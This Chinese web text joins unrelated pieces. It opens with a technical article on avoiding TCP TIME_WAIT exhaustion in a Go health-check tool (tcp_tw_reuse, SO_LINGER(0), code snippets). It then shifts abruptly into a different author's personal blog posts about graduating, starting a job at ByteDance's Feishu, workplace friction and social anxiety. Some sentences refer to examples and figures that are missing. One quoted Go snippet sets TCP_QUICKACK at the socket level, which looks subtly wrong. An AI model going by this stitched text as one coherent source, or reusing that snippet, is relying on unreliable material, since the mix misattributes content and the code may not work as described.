这个探活工具在每次探活的时候,必须要从头开始建立整个网络链接,也就是说,需要从头开始进行DNS查询,建立TCP链接,然后进行通信,再关闭链接。这里,我们不会设置 TCP 的 KeepAlive 重用链接,因为探活工具除了要探活所远端的服务,还要探活整个网络的情况,所以,每次探活都需要从新来过,这样才能捕捉得到整个链路的情况。
但是,这样不断的新建链接和关闭链接,根据TCP的状态机,我们知道这会导致在探测端这边出现的 TIME_WAIT
的 TCP 链接,根据 TCP 协议的定义,这个 TIME_WAIT 需要等待 2倍的MSL 时间,TCP 链接都会被系统回收,在回收之前,这个链接会占用系统的资源,主要是两个资源,一个是文件描述符,这个还好,可以调整,另一个则是端口号,这个是没法调整的,因为作为发起请求的client来说,在对同一个IP上理论上你只有64K的端口号号可用(实际上系统默认只有近30K,从32,768 到 60,999 一共 60999+1-32768=28,232,你可以通过 sysctl net.ipv4.ip_local_port_range
查看 ),如果 TIME_WAIT
过多,会导致TCP无法建立链接,还会因为资源消耗太多导致整个程序甚至整个系统异常。
试想,如果我们以 10秒为周期探测10K的结点,如果TIME_WAIT的超时时间是120秒,那么在第60秒后,等着超时的 TIME_WAIT
我们就有可能把某个IP的端口基本用完了,就算还行,系统也有些问题。(注意:我们不仅仅只是TCP,还有HTTP协议,所以,大家不要觉得TCP的四元组只要目标地址不一样就好了,一方面,我们探的是域名,需要访问DNS服务,所以,DNS服务一般是一台服务器,还有,因为HTTPS一般是探API,而且会有网关代理API,所以链接会到同一个网关上。另外就算还可以建出站连接,但是本地程序会因为端口耗尽无法bind了。所以,现实情况并不会像理论情况那样只要四元组不冲突,端口就不会耗尽)
那么,为什么TCP在 TIME_WAIT
上要等待一个2MSL的时间?
以前写过篇比较宏观的《TCP的那些事》(上篇,下篇),这个访问在“上篇”里讲过,这里再说一次,TCP 断链接的时候,会有下面这个来来回回的过程。
我们来看主动断链接的最后一个状态 TIME_WAIT
后就不需要等待对端回 ack了,而是进入了超时状态。这主要是因为,在网络上,如果要知道我们发出的数据被对方收到了,那我们就需要对方发来一个确认的Ack信息,那问题来了,对方怎么知道自己发出去的ack,被收到了?难道还要再ack一下,这样ack来ack回的,那什么谁也不要玩了……是的,这就是比较著名的【两将军问题】——两个将军需要在一个不稳定的信道上达成对敌攻击时间的协商,A向B派出信鸽,我们明早8点进攻,A怎么知道B收到了信?那需要B向A派出信鸽,ack说我收到了,明早8点开干。但是,B怎么知道A会收到自己的确认信?是不是还要A再确认一下?这样无穷无尽的确认导致这个问题是没有完美解的(我们在《分布式事务》一文中说过这个问题,这里不再重述)
所以,我们只能等一个我们认为最大小时来解决两件个问题:
1) 为了 防止来自一个连接的延迟段被依赖于相同四元组(源地址、源端口、目标地址、目标端口)的稍后连接接受(被接受后,就会被马上断掉,TCP状态机紊乱)。虽然,可以通过指定 TCP 的 sequence number 一定范围内才能被接受。但这也只是让问题发生的概率低了一些,对于一个吞吐量大的的应用来说,依然能够出现问题,尤其是在具有大接收窗口的快速连接上。RFC 1337详细解释了当 TIME-WAIT
状态不足时会发生什么。TIME-WAIT
以下是如果不缩短状态可以避免的示例:
2)另一个目的是确保远端已经关闭了连接。当最后一个ACK 丢失时,对端保持该LAST-ACK
状态。在没有TIME-WAIT
状态的情况下,可以重新打开连接,而远程端仍然认为先前的连接有效。当它收到一个SYN段(并且序列号匹配)时,它将以RST应答,因为它不期望这样的段。新连接将因错误而中止:
TIME_WAIT
的这个超时时间的值如下所示:
sysctl net.inet.tcp | grep net.inet.tcp.msl
cat /proc/sys/net/ipv4/tcp_fin_timeout
要解决这个问题,网上一般会有下面这些解法
tcp_tw_reuse
。RFC 1323提出了一组 TCP 扩展来提高高带宽路径的性能。除其他外,它定义了一个新的 TCP 选项,带有两个四字节时间戳字段。第一个是发送选项的 TCP 时间戳的当前值,而第二个是从远程主机接收到的最新时间戳。如果新时间戳严格大于为前一个连接记录的最新时间戳。Linux 将重用该状态下的现有 TIME_WAIT
连接用于出站的链接。也就是说,这个参数对于入站连接是没有任何用图的。tcp_tw_recycle
。 这个参数同样依赖于时间戳选项,但会影响进站和出站链接。这个参数会影响NAT环境,也就是一个公司里的所有员工用一个IP地址访问外网的情况。在这种情况下,时间戳条件将禁止在这个公网IP后面的所有设备在一分钟内连接,因为它们不共享相同的时间戳时钟。毫无疑问,禁用此选项要好得多,因为它会导致 难以检测和诊断问题。(注:从 Linux 4.10 (commit 95a22caee396 ) 开始,Linux 将为每个连接随机化时间戳偏移量,从而使该选项完全失效,无论有无NAT。它已从 Linux 4.12中完全删除)对于服务器来说,上述的三个访问都不能解决服务器的 TIME_WAIT
过多的问题,真正解决问题的就是——不作死就不会死,也就是说,服务器不要主动断链接,而设置上KeepAlive后,让客户端主动断链接,这样服务端只会有CLOSE_WAIT
。
但是对于用于建立出站连接的探活的 EaseProbe来说,设置上 tcp_tw_reuse
就可以重用 TIME_WAIT
了,但是这依然无法解决 TIME_WAIT
过多的问题。
然后,过了几天后,我忽然想起来以前在《UNIX 网络编程》上有看到过一个Socket的参数,叫 <code>SO_LINGER
,我的编程生涯中从来没有使用过这个设置,这个参数主要是为了延尽关闭来用的,也就是说你应用调用 close()
函数时,如果还有数据没有发送完成,则需要等一个延时时间来让数据发完,但是,如果你把延时设置为 0 时,Socket就丢弃数据,并向对方发送一个 RST
来终止连接,因为走的是 RST 包,所以就不会有 TIME_WAIT
了。
这个东西在服务器端永远不要设置,不然,你的客户端就总是看到 TCP 链接错误 “connnection reset by peer”,但是这个参数对于 EaseProbe 的客户来说,简直是太完美了,当EaseProbe 探测完后,直接 reset connection, 即不会有功能上的问题,也不会影响服务器,更不会有烦人的 TIME_WAIT
问题。
在 Golang的标准库代码里,net.TCPConn
有个方法 SetLinger()
可以完成这个事,使用起来也比较简单:
conn, _ := net.DialTimeout("tcp", t.Host, t.Timeout()) if tcpCon, ok := conn.(*net.TCPConn); ok { tcpCon.SetLinger(0) }
你需要把一个 net.Conn
转型成 net.TCPConn
,然后就可以调用方法了。
但是对于Golang 的标准库中的 HTTP 对象来说,就有点麻烦了,Golang的 http 库把底层的这边连接对象全都包装成私有变量了,你在外面根本获取不到。这篇《How to Set Go net/http Socket Options – setsockopt() example 》中给出了下面的方法:
dialer := &net.Dialer{ Control: func(network, address string, conn syscall.RawConn) error { var operr error if err := conn.Control(func(fd uintptr) { operr = syscall.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.TCP_QUICKACK, 1) }); err != nil { return err } return operr }, } client := &http.Client{ Transport: &http.Transport{ DialContext: dialer.DialContext, }, }
上面这个方法非常的低层,需要直接使用setsocketopt这样的系统调用,我其实,还是想使用 TCPConn.SetLinger(0)
来完成这个事,即然都被封装好了,最好还是别破坏封闭性碰底层的东西。
经过Golang http包的源码阅读和摸索,我使用了下面的方法:
client := &http.Client{ Timeout: h.Timeout(), Transport: &http.Transport{ TLSClientConfig: tls, DisableKeepAlives: true, DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) { d := net.Dialer{Timeout: h.Timeout()} conn, err := d.DialContext(ctx, network, addr) if err != nil { return nil, err } tcpConn, ok := conn.(*net.TCPConn) if ok { tcpConn.SetLinger(0) return tcpConn, nil } return conn, nil }, }, }
然后,我找来了全球 T0p 100W的域名,然后在AWS上开了一台服务器,用脚本生成了 TOP 10K 和 20K 的网站来以5s, 10s, 30s, 60s的间隔进行探活,搞到Cloudflare 的 1.1.1.1 DNS 时不时就把我拉黑,最后的测试结果也非常不错,根本 没有 TIME_WAIT 的链接,相关的测试方法、测试数据和测试报告可以参看:Benchmark Report
下面是几点总结
TIME_WAIT
是一个TCP 协议完整性的手段,虽然会有一定的副作用,但是这个设计是非常关键的,最好不要妥协掉。tcp_tw_recycle
,这个参数是个巨龙,破坏力极大。SO_LINGER(0)
,而且使用 tcp_tw_reuse
对服务端意义不大,因为它只对出站流量有用。tcp_tw_reuse
和 SO_LINGER(0)
。最后强烈推荐阅读这篇文章 – Coping with the TCP TIME-WAIT state on busy Linux servers
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
本来这篇是上周就已经写完,但是一直没有时间稍作修改发布。巧的这周三我正式入职(之前是在实习,因为没收到毕业双证),周六正好大学时候的几个室友又一起聚了,因此本文前半段会一起聊聊从实习到转正的心态变化以及一些所思所感,后半段则是上周写的内容。
原标题“工作不适应综合症”,起了这样的一个标题的原因是在2019年我的研一入学的时候,我写了一篇[post cid=970 size="small"] 。而这次正好是刚刚工作应景,写一些烦心的事情。
因为上半年疫情+实习,在学校里面的出不了校,在家的也一般是居家办公,因此没什么机会一起吃个饭。上周正好是大家毕业周,但是上周不是所有人有空,因此约着这周这一顿饭。大学宿舍一共六个人,其中四个人留在了北京,我和另一位本科毕业后读研了,而剩下两位则是直接参加了工作,已经是工作三年的“职场老人”。
见面吃饭聊的比较多的自然就转成了“工作”,一边有些感叹是“裁员”大环境的无可奈何,一边是讨论工作中的”压力“大不大。没有读研的两位不在所谓的”大厂“工作,因此工作压力要少很多,每天6-7点就能下班,实在是让我感叹不已,其中一个所在的公司甚至没有绩效考核,还抱怨每天做的事情太过简单,属实让我羡慕一把了(我现在的工作压力情况会在part2 简单介绍)。
因为我所在部门是“飞书”,属于企业工具,就闲聊问问他们公司用的什么工作,还真有一个是飞书,另一个是钉钉,还有用企业内部工具。其中一个对“飞书”非常不了解,就和我当初没来飞书之前一样,问是叫“飞书”、“飞鸽”还是“飞信”,哈哈哈,一下子起了两个新的名字。
我在来飞书之前,只是模糊的听说和notion有点类似,并不知道飞书是什么东西。实习前特意下载了,第一感觉这不就是一个企业IM吗,还是一个不出名的企业IM吗。当然随着了解越来越多,就会知道飞书不仅仅是IM、飞书文档、视频会议,而是企业办公一站式的解决方案。因此它的目标客户只是B端企业,因此将它和notion、企业微信比较是没有意义的。只是钉钉面向学生、教师的群体让这类企业办公工具更加的c端话,以至于大家知道飞书文档都会去和c端产品比,评价两个软件的细节。这个没什么问题,c端用户可以享受不收费的红利,但是相比较其他c端产品我个人觉得没有那么适合个人使用(非要用不是不行,也有一些其他软件没有细节亮点)。
虽然有点扯远了,还是再解释一下为什么说将飞书与notion、企业微信(至少目前是)相比是没有意义的呢。比如说一个企业想要找一个办公软件,是会选择飞书还是notion呢,显然notion功能单一,不能胜任这个工作。选择飞书还是企业微信呢,显然企业微信的功能并不够统一,比如腾讯文档、腾讯会议与企业微信分别属于不同的团队,不够互通。只有钉钉和飞书是一直朝着一站式的企业办公解决方案走的。当然企业微信目前也在整合这些业务,目前来看体验没有钉钉和飞书好。
回到之前的话题,朋友对飞书不了解这告诉我一个道理是,当我们进入一个行业开发的时间太长的时候,总会以为自己做的事情所有人都知道,自己做的事情的价值很大,因为每天都围绕着这转,并且只接受到好的消息,但事实上是这个行业或者产品到底给用户带来多大的价值可能会被错误估计的。
我和另一个使用飞书办公的朋友聊天,说飞书最新发布了三栏结构,增加标签的功能。他说标签不就是分组的功能吗,三栏对他来说没有任何影响/变化,他自己也用不到标签。
吃完饭后,本来想直接去看看电影,结果没有那个时间点的场次,就提议去我住的地方坐会,然后再一起去看电影。
来到我住房的地方,我之前买过PICO VR一体机,其中一个朋友没玩过,就让他试玩游戏了。和另一个同学就坐在沙发上闲聊。问他知道notion吗,平时怎么记笔记,他说他不记笔记,不知道notion,这里并不是说知道notion怎么牛逼,而是从这个对话中会发现自己的一些认知可能在别人的那里就根本是错误,或者是不必要的。对于我来说工作过程中就会一直产出文档,在开发需求的时候,就会边开发边记录开发细节,开发逻辑,开发需要注意的点,都是在边写代码,边完善文档。因此记录对于我来说一件非常重要的事情。但是对于别的开发来说,他们完全不需要记录,也仍然能做好工作,因此”冗余/过度“记录是否有必要。
我常说我是一个酷爱寻找“效率软件”来帮助我生活的人,但这些效率软件是否真正提高了个人效率,个人能力是需要思考的。并不是否认这些软件的价值,而是不应该过度放大工具的价值,这对我来说也是一个提醒。就比如熟悉我的人会知道我的笔记软件在这七年里已经换了好几个:typoro、mweb、bear、craft、notion。这个过程同样尝试了很多其他的软件,比如思源笔记、印象笔记、有道云、obsidian等等。
最后,我们去看了“人生大事”的电影。虽然是老生常谈的道理:人生只有生死是最大的事情,其他的荣辱名利都是过眼云烟,开头的一些片段还是让我有些觉得蒙蔽麻木太久的心被稍稍唤醒了一些。一丢丢情节和“入殓师”很像,比如一开始看不上丧葬行业,后面才了解丧葬行业的神圣,但是中间掺杂了很多情节,有些情节就感觉不太现实就让人有点出戏。没有像入殓师揪着一个点深挖下去。总体来说是矮个里拔将军,其他的同期电影也没有什么好看的了。
其实6月24号我就拿到了双证。本来是打算休息一段时间,然后再转正。一方面是手上的一个需求没结束,另一方面是休息也不知道干什么,怕是纯纯浪费时间。因此纠结两天后就转正了
实习的时候心态总有种过渡依赖mentor的感觉,并且没有太多的自主性。比如总觉得自己写的代码出问题总有别人兜底,自己做不好也没什么影响(毕竟我已经拿到offer了)。
转正后第一个区别是,请假可以在系统上填写了。实习生请假是直接和mentor说一下就行,并且只有事假,是没有工资的。但是正式员工有一些带薪假期可以请,并且请假后,飞书上会有请假的红色标识。
第二个让我觉得变化的点是,从转正开始,既是承担的责任更多,同时也与其他的同事关系更平等了,尽管水平还是有很多向别人学习的地方,但是就是比实习时候的拘谨好很多,不知道是怎么一回事。
字节的工作时间美其名曰是“弹性工作制”,换句话说“你把工作做完就行,想什么时候下班就什么时候下班”。但这完全是不现实的。对于初入职场的新人来说,什么就做“把工作做完”?包含两层含义,第一层是当前的需求能够按照预期截止时间推进,bug 能够预期修复,第二层是没有新的知识需要学习了。
在互联网公司,排期一般至少不多,基本不存在本来一周可以做完的事情可以排两周做完,除此之外还有很多时候是超出预期,比预期时间要长的情况。因此第一层的“把工作做完”就很难达到。
可能你会说,“你能力强一点,效率高一点不就能提前做完,然后早下班吗“。这其实是一个非常好的问题。能力变强,效率变高,这个提升是不能凭空出现的,尤其是对于初入职场的人来说,是没办法做到的,因此只能额外”自愿加班“来达成能力变强、效率变高这个过程。
抖音今天看到的一个视频也是类似的观点,你只有达到80分以上,才有资格装成60分的能力去躺平,如果你才是60-70分,你想躺平只能是被裁或者是低绩效的命运。
我不反对卷,但是旗帜鲜明的反对因为自己卷影响他人的行为。比如你自己偷偷回去资源加班,偷偷把自己活提前干完,甚至多干完,一点问题都没有,多劳多得。但是你不能把自己卷的行为push到别人身上,比如拉别人额外加班干活,比如把自己活额外push给别人。这一点是极其没有职场道德的行为,而为了绩效考评的360环评不那么难看以及职场关系不弄的那么僵,大多时候只能忍了。
而我现在就遇到这么一个卷别人的QA让人难受不已。研究生期间我们实验室实际上就是一个公司,东信北邮的公司,也会做项目,有测试部门,工作流程是产品提需求,测试去写案例,然后开发完成后,测试去测问题,有问题就会提bug,并且有详细的复现路径。简单来说QA和开发是几乎没有太多交集的地方,各干各的,出了测试用例评审的地方。
但是我在遇到的这位QA呢,一开始对需求不清楚,要研发去和QA说需求的原理是什么,而不是产品经理,这个我忍了,因为这个需求是技术需求,不是产品经理提出的,产品经理实际上也只知道交互逻辑,而不知道技术细节。和QA说话需求背景后,我一个个的去和QA写场景,换句话说大部分需要测的场景我都口述给她,然后她整理记录一下。好的这个我也忍了,你对流程不熟悉。接着开始测试又是一堆操作不知道怎么弄,一个个问我我也忍了,毕竟这个操作是比较复杂。接着测试出bug,一个个的和我说,我这正调试这代码看一个问题呢,反手就是一个加急,问这个流程是否符合预期。有的流程我都说了至少2遍,还在问是不是符合预期,就感觉我说了一个寂寞。让写一个测试报告,把出现的问题,复现场景记录一下,QA和我说没时间???这不就是你们干的活,你和我说没时间,要我一个个和她对去解决,出现一个问题,就要拉我去前台面对面去对,你是不会打字吗还是飞书没有语音没有飞书会议的功能啊。
因此上周我的工作体验极差极差,每天和QA对半天,然后我调试过程中反复被打扰,到了下班,还一个劲的给我发消息,你有这时间整个一个测试文档不行吗,整个工作的素质极差,我不理解。因此只能下班后回住的地方去看日志,调bug,几乎每天都是深夜才能修完提出的问题。
这是我自从来字节后最难受的一周,因为之前做需求QA也不会是这样啊,有问题都是提文档,然后研发一个个的去看,如果研发对复现流程不熟悉就会去评论文档,再对一下,哪是出现一个问题,就加急研发啊。周末还要求我带电脑回家操作,我整一个无语。给我的感觉就是极其不专业,极其没有职场边界感。
(抱歉吐槽这么久,如果我是实习生,我都不会理她,但是正式员工就要背负着绩效的压力)
目前最希望的事情就是尽快的结束这个需求。·
为什么要着重强调这一点,就是因为上周的工作,让我陷入了短暂的迷茫。有的时候被一些烦心事给蒙蔽了双眼,就会失去方向。2022年我唯一要做的事情非常明确,就是对chromium项目以及相关业务的深入研究与学习。
这个是核心目标,我所做的一切需求和工作都要推进这件事情,如果没有推进这件事情,可能就得停下来思考,我所做的事情的是不是值得让我们如此痛苦和高优,反之,只要是在推进这件事情,就无须担心太多其他事情是否做的太慢。
从这里开始的内容,为上周所写,因此时间线是从上周六开始的
尽管从五一后就开始继续实习,但在端午节后(六月六号)才开始正式回工区上班。一开始以为北京端午后疫情就要结束,事实上官方和大多数人都是这么认为的,结果没过两天,天堂酒吧有一个疫情链快速扩散到多个区,以至于到写此文时,仍然每天都有零星的本土病例,看每天的“收尾阶段”的新闻都已经快看乏了。
但尽管如此,回工区的事情没有再中断过。回工区了,理论上吃饭问题不用愁了,公司食堂的饭菜说不上多好吃,但其实比外卖还是好一些的,并且不用选择困难吃什么。而且,按道理在公司多专注一些,也可以下班后有片刻的休息,而不至于一天都处于“半工作”的状态。
我是更喜欢居家办公的环境,尽管诸多不便,但是可以有自己的节奏,这对我来说是非常重要的。想起中考之前和朋友说,所有考试中最讨厌的是英语听力和体育(短跑),原因在于这两门没有自己的节奏,必须在高压之下保持特别高的专注力,并且容错性极低。这其实是“即兴思考与反应“的一种能力,却是我欠缺的。
工区上班还有一个让人头痛的事情就是社交。
leader 和 mentor 坐在我的工位左右,而我又是一个社恐,尽管mentor人真的很好,有事无事和我说话,也不怎么push我,可以说给足我成长和学习的时间。ld 也为人比较温柔。
但是社恐的内耗一般人可能难以想象,就连每天碰面,要不要打个招呼这个事情也会纠结半天,如果最终没有打招呼,心里还会纠结半天。这些内耗快要吞噬了我自己,让我耗费的大量不必要的精力。
社恐的人也许在一些时刻特别羡慕其他人,在群体的时候,羡慕他们侃侃而谈,羡慕他们谈笑风生,羡慕他们能够自由的表达、展现自己想法、情绪。
社交的压力对我来说非一日之寒,也非一时可以解决。首先需要的是正式自己的不足,社恐在社会场景、社交场景下固然是不利,但这并不表示社恐就不是正常人。难道是人就一定得活泼外向吗,当然不,我也很感谢目前的团队也并没有主动给我一些社交压力,反而mentor和一些同事还会主动找我交流。其次工作场景下,做好自己工作,保证一定的基本礼貌(比如见面打招呼)才是关键。即使你说的再说,能力低下也只是一个花瓶迟早会被淘汰,所以找准自己定位,找准自己的目标,降低自己的期望,不要总想着自己要成为一个多么外向的人,而是前进一小步,比如见面主动打招呼,不逃避,就是一个很好的开端。所以找到一个可以进步的小目标是很重要的,从一件小事开始,可以记录一周主动打招呼的次数,一周主动找人帮忙的次数,又或者是给人发消息的迟疑时间等等。如果觉得不舒适,自然可以退出一些氛围减少接触,其实大家都各忙各的,也不会太觉察到别人,但保持基本的社交礼仪还是非常重要的,否则在后续合作中会非常麻烦。
其实我并不是第一天去上班,如果熟悉我的人会知道,去年5月份我就在字节实习,一直到10月份中旬才结束开始了毕设。现在只是毕业结束,继续开始工作而已。但这一次的体验确不一样。
中午吃完饭和同事(也是一个实习生,北大研二)闲聊说,有点羡慕他们现在压力没有那么大。其实不过是我无心之语,但是他反问道,我现在压力很大吗。我愣了一下,顺着就说现在的压力和当初实习的时候不一样,当时没有细想。现在回过头来想不一样倒是哪里不一样呢。实习的时候,唯一的目标就是好好表现,争取转正可以有个好的结果,不会有别的想法,事实上那段时间,只想着把每天的事情做好,并且那时候我所做的事情虽然有挑战,但是难度上都不算难,只能说复杂,属于只要肯花时间,谁都能做好,只是看条理程度罢了。
而如今我的目标变得模糊,艰难从毕业的目标中跳出,仿佛不知道怎么的就稀里糊涂的就开始上班了,也许是随大流,大家都开始上班了(事实上我可以请假一段时间,在8月前入职即可),而我又没有什么事情,就开始上班了。目前手上的活还远没有一些正式员工忙碌,但仍然几乎填满每天的时间。每天早上不想上班,忍到最后一刻出门,然后期待下班,回家后又开始不知该做什么事情填满剩余的时间。
没有目标可能是很多年轻人包括我存在的问题,其实也许我们太看重目标的意义,反而会迷失于此。
讲个故事,每每当我觉得渐渐失去对生活的掌握权的时候,我都特别想要寻找一个新的工具,可能是文档工具或者TODO工具,总是寄希望于工具本身来改变我的生活,但一次又一次的经历告诉我,“工具本身不重要”。今天我重新打开“滴答清单”的时候,我看到了一些很久之前放到“以后再说“的标签下的任务,比如”购买一辆电动车“。
我一直想买一辆,但是一直没有买,除了很贵不确认自己是否真的需要,而且充电又很麻烦,所以一直搁置。但是每次出门的时候又真的希望自己有一辆电动车,如果有的话,那么生活的品质真的会提高很多。所以“工具”帮助了我什么呢,帮我把一个个愿望存档到一个标签下,安慰自己以后会去做,实际上这辈子都不会去做。“工具”让我花费大量时间看上去将生活捋顺,但实际上没有任何“行动”。
似乎有点偏题了,但事实我想说的是我们要关注事情的本质,而非表面。我们需要TODO工具,是希望帮助我们避免遗忘事情,提高执行能力完成事情,减少生活压力与焦虑提高生活质量,而不是表面看上去一切任务井井有条但是没有任何行动。如果是这样,另可把这些时间用来做一件切实可行的小事。同样的是我们需要找到一个目标,一定是空洞虚无的,比如“我三年内要赚多少多少钱,要晋升到什么岗位”,这些大的目标在开始的时候只能给自己带来无限的压力和焦虑,而不能促成任何事情的推动。
有段时间睡觉特别焦虑,觉得自己的压力很大,如果看过我之前写的一些文章就会知道我家庭经济情况不好(尽管我目前没有经济问题),父母因为前几年的一些决策问题,导致现在还背负很多的房贷(每个月9千多),而且他们年纪都慢慢大了,肉眼可见的身体变差,变老。有段时间睡觉前想自己无能不能改变现状,很心酸又很无奈。但现在我慢慢的不去想这些事情,因为没有任何意义。着眼于每一天做的事情,比如多看一页的c++ primer,多充实一点生活,多执行了一件事情等等。
生活的目标从来不需要多么遥远,从一件可以量化的小事开始。
今天可能是北京温度最高的一天,最高温度达到了40摄氏度。尽管如此我今天申请回校收拾行李,然后顺路可以一些同学拍了毕业照。女生们真的很有技术,有单反和拍立得。还借了硕士服,真的很幸运的是赶上他们一波在毕业的尾声的时候拍了一些照片。尽管我是不怎么在意“隆重的仪式感”,但是没经过一个节点能有一些纪念也是值得回味的。
回宿舍“拾遗”的时候,发现我的一个奇妙行为:当你拥有很多的时候,你就不去珍惜。比如宿舍里有一堆口罩(大概200多个),因为我们学校每隔一段时间就会发好几十个,而宿舍上半年好几个人都没来。我看到的第一反应不是说装起来,而是不想要。但这个是很反常的。公司每天只可以领一个,我每天都会去领一个,之前租房的时候我还特意买了50个,价格也是几十元并不便宜,还是心疼。而现在宿舍里有一堆口罩我居然第一反应是不想要。。。除此之外,还有床上的枕头(我之前买的海绵枕头也快100),秋天的衣服,我第一反应都是怕麻烦不想要,但事实上这些东西都是之前我花费不少精力和财力购买的。租房的时候还因为要不要买个好一点的枕头纠结了两天。也许真的是当我们身处拥有很多的时候我们不会珍惜。再举个例子,在公司的时候因为有饮料补贴,一瓶7元的饮料,补贴后大概1~2元。而平时我很少买、喝饮料就是因为很贵,根本不舍得,但是身在公司的时候却没有特别想要买的欲望,反而回到住房的时候才又发觉。所以很多事情当我们有“拥有”的条件的时候,反而呢我们就觉的它的价值低了,就习以为常,觉得平常了。当我们得不到的时候,价值不高的事情都会当个宝一样的渴求,这不就是“贱”吗…… 后来我把我平时需要的东西都带回来了。
周五的中午时候,组内的一个小团建吃饭,ld 提了一个问题,如果面试的时候问“你最委屈的一件事情,你会怎么回答“,前面说了我是非常欠缺这种临场发挥的场景的,而每个人都要说一段。这个问题一开始其实就不是让你真正的回答你委屈的故事,面试官想听的是你为什么委屈,以及你是怎么解决这个委屈的,并且从你解决委屈的方法里来看出你的能力,比如主动学习,主动沟通等等能力,这才是关键。前面人说了我又不想重复说,也不想拙劣的模仿编一个,而后问了我两次才憋出一个,事实上等我讲完之后,我的脑海里又忽然冒出几个可以说的委屈的故事,但那个时候就是头脑一片空白。这种小团建其实一眼就能看出每个人的性格、能力。有的人即使不会也能侃侃而谈说出一些,有的人临场不慌就能说出一个不错的及格以上的答案,而有的人提前就有这个问题的准备,更是条理表达清晰。只能说在这个方面我还有很多需要提高的地方。
最近几周在YouTube上看完了红楼梦87版本的电视剧,然后就给我推“女王泡面”讲解“鬼本”的视频,看了很多集,觉得恰是有意思,每个人物背后的历史背景和细节尽然能如此之多,让我大呼吃惊。接着这周就开始给我推另一个up主反驳“鬼本”的视频,也是有点无语,但更要命的是讲的也很有道理。原因其实是因为论点是他们提出来的,论据也是他们提出来的,而每个视频显然只会找出支持他们各自论点的论据,而作为观众的我自然都能被他们说服。
那么,这次就先说到这
恍惚间已经混走了半年。 盘点一下。
[scode type="blue" size="simple"]2022.6.5 晚上通知从明日开始正式回工区上班了[/scode]
终于毕业了,从去年10月份开始就着急的毕业论文到中期答辩、今年3月份初审、院盲审、最后的最终答辩,重重关卡,终于顺利毕业,这其实是我心中最重要的一个石头,终于落地。
因为我已经在家3个月,因为北京疫情也不能回学校,学校的行李都是让人打包邮寄回家的…所以基本没什么离校的伤感。五一过后也继续开始了实习,等拿到毕业双证后,就可以了正式入职了。
但是毕业作为一个人生中重要的节点,还是想写点什么。
但是提起“笔”,却感觉什么也写不出来了。回看2019年本科毕业写的文章 [post cid="950" cover="" size="small"/] ,矫情杂糅写了1万多字,尽管在读起来也是多半无病呻吟。因此,不想再写那些矫情的话了,写一写近况。
[hplayer]
[Music server="netease" id="29732045" type="song"/]
[/hplayer]
本来毕业后是有一个高中同学准备来北京玩几天,但是目前北京疫情一直没有结束,这件事情就悬了。本来是想着端午节后疫情就该差不多了,因此在公司附近租了一间房子,从6月6号开始起租,但是离回工区办公还至少得有两周。
这次毕业,真的是两只脚都踏入社会了。处在学校中的自己不工作、不租房不了解当完全所有的事情都由自己负责、自己安排,所有责任都由自己承担是一种什么样的感觉。即使工作不顺利、租房烦恼多,这些事情也只能自己慢慢消化了。
五一后的工作,让我一下子就又置身与去年实习的工作忙碌之中,一旦开始工作起来,就真的很多时间都被吞噬掉,而无暇自怨自艾了。这不知道是一种悲哀还是一种成长。前几天看到了一张图,很以为然,然而也无可奈何。
时间也许不会治愈什么,它只会让曾经你认为重要的,变得不再重要。
当工作的时候,周末的意义才会变得重要起来。周末的两天不用担心其它任何工作事情的ddl或者压力。
前一阵子四月的时候,参加了公司组织的员工关怀活动,一个简单的心理活动,每天写上三件好事,坚持14天可以获得一个鼠标垫,坚持21天可以获得一件T恤,每天写的三件好事的主题会根据这个课程内容会略有变化。尽管这个阶段有一些天,写的比较水,但还是坚持下来了。现在看来似乎没有显著变化,也许是潜移默化的深远影响也未能可知。
其实人与人的差别不大,每个人从出生到青春期到成人,尽管生活环境、细节天差地别,但是总体的烦恼、想要的欲望确实大抵不会相差太多(特例另说)。小的时候希望什么时候可以逃出家长的控制,高中时候可能会情犊初开,还有学业上的压力,大学也可能陷入自我主义的泥潭,而孤独则是陪伴一身的课题。我不太相信有人没有体会过孤独的感觉,只不过有些人会主动找些事情来变得“无暇”孤独罢了。
因此,懒与贪是每个人的陋习,但是为什么人与人又天差地别,有的人活得潇洒自在,有的人活得自怨自艾,胆小怕事。这大抵从每件小事累计而成的。
同样一件事,两个人因为不同的外部压力(或者自我约束),一个人硬着头皮做完了,另一个人因为懒而放弃,尽管两人在遇到新的事情都会觉得麻烦,觉得困难,但是结果却截然不同。
写下这一点是告诫自己的事,在职场中需要谦虚,但不必卑微。很多技能我确实还不会(比如Windows平台的调试技巧),但是并不是别人有三头六臂或者其它神通,而是因为别人多“硬着头皮”去做,而我也只需“硬着头皮”去做,就没有什么做不好的。
除去工作上,需要有“硬着头皮”的不怕畏难情绪,生活上也是如此,别人的生活过的好一点,只不过别人多逼迫了自己一把而已,或许是周末的时候“逼迫”了自己打扫了房间,因此阳光能更好晒进屋里,也许是“逼迫”了自己一把,精心挑选与购买了自己喜欢的装饰或者花草,因此屋子里能有更多生气。这些事情虽然不是什么大学问,但是都是需要“动起来”才能完成的。
之前看到过很多“离开舒适圈”的反讽的段子,比如“你能离开舒适圈吗,让我进来”来反讽上一辈对我们的劝告,但是就我个人所言,需要辩证看什么是“舒适圈”与“懒惰圈”,如果是精心经营打理自己的生活,那一定是不能懒惰,同样,懒惰带来的结果就一定不舒适的。三月、四月的时候,我一直在家,很少锻炼,就会发现很容易生病,经常小感冒之类的,还有四体非常的酸乏,尤其是早上醒来的时候,这些不仅不舒服,而且是一种“恶性循环“。
越不锻炼身体越差,身体越差就越不锻炼,生活中很多事情都是如此。越熬夜,白天精神越差,事情只能留到晚上熬夜做,因此就熬夜越深。
而”硬着头皮“去打破这种循环,才是生活走向舒适圈的一个正轨。
身处在时代洪流中的我们,往往感受不到时代的变化。
比如疫情导致的快递封了、街道封了这些如果搁在2019年的时候我们是无法想象的,但是就像”温水煮青蛙“似的,已经慢慢习惯或者能够忍受这种生活了。 类似这样我们现在无法想象的事情未来可能还有更多 ,只不过似乎短短的几年,我们就能够完全的依赖和习惯所拥有的一切罢了。
互联网的就业情况也是今年的一个热门话题,各个大厂裁员的消息、新闻经常挂在热搜上。倒不是贩卖焦虑或者阻挠读者进入互联网行业。近几日闲来无事看了红楼梦87版,互联网行业就好似大观园的热闹场景,看上去热闹繁华。资本就像书中的皇上一样,而我们则是大观园中的丫头、奴婢,尽管地位不高,但是一人得道鸡犬升天。相比园外的,福利自然是多了不少。但是天下没有不散的宴席,这个亘古不变的道理,身处其中的人可能却无法也不愿意相信。
